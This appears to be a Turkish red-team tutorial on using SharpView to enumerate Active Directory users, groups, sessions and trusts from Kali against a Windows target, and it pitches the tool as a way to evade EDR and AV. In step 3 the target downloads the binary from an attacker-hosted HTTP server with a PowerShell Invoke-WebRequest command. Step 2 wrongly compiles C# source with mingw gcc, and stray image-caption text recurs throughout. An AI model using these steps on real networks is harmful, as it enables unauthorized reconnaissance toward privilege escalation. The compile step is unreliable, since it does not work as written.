**SharpView**, Active Directory ortamlarında bilgi toplamak için kullanılan, **C# ile yazılmış** ve PowerView’in .NET tabanlı alternatifidir. Red Team operasyonlarında, iç ağda kullanıcılar, gruplar, bilgisayarlar ve ilişkiler hakkında bilgi edinmek için tercih edilir.

PowerShell gerektirmeyen yapısıyla, EDR ve AV tespitlerinden kaçmak için uygundur. PowerShell engeli olan ortamlarda etkin şekilde kullanılır.

**Bu Aracın Özellikleri Nelerdir?**

* **Kullanıcı, Grup, Bilgisayar Bilgisi Toplama**
* **Kerberos Delegation ve Session Enum**
* **Domain Trust Haritalama**
* **PowerShell Olmadan Çalışma**
* **Active Directory Query’leri .NET üzerinden gönderilir**
* **PowerView komutlarının çoğunun karşılığı vardır**
* **C# binary olarak kullanılabilir**

**SharpView Aracını Kali Linux’tan Windows Hedefte Kullanma Adımları**

**Adım 1: Kali Üzerinden SharpView’u Klonlayın**

“git clone https://github.com/SharpSuite/SharpView.git

cd SharpView”

**Adım 2: Projeyi Derlenmiş Olarak Edinin (Binary)**

SharpView .cs (C# source) dosyası olarak gelir. Derlenmiş hali yoksa:

“x86\_64-w64-mingw32-gcc SharpView.cs -o SharpView.exe”

**Adım 3: Dosyayı Hedef Windows Ortama Aktarın**

Komut (örnek HTTP sunucusu başlatma):

“python3 -m http.server 8080”

Hedef sistemde (örneğin cmd.exe) şu komutla indirilir:

“powershell -command "Invoke-WebRequest [http://ATTACKER-IP:8080/SharpView.exe -OutFile SharpView.exe](http://ATTACKER-IP:8080/SharpView.exe%20-OutFile%20SharpView.exe)"”

**Adım 4: Hedef Windows Sistem Üzerinde Komutları Çalıştırın**

“SharpView.exe Get-NetUser”

metin, yazı tipi, ekran görüntüsü içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 5: Grup Üyelerini Görüntüleyin**

“SharpView.exe Get-NetGroupMember -GroupName "Domain Admins"”



**Adım 6: Tüm Domain Bilgisayarlarını Listeleyin**

“SharpView.exe Get-NetComputer”

metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 7: Oturumları Göster (Session Enum)**

“SharpView.exe Get-NetSession”

metin, yazı tipi, ekran görüntüsü içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 8: Domain Trust’ları Göster**

“SharpView.exe Get-NetDomainTrust”

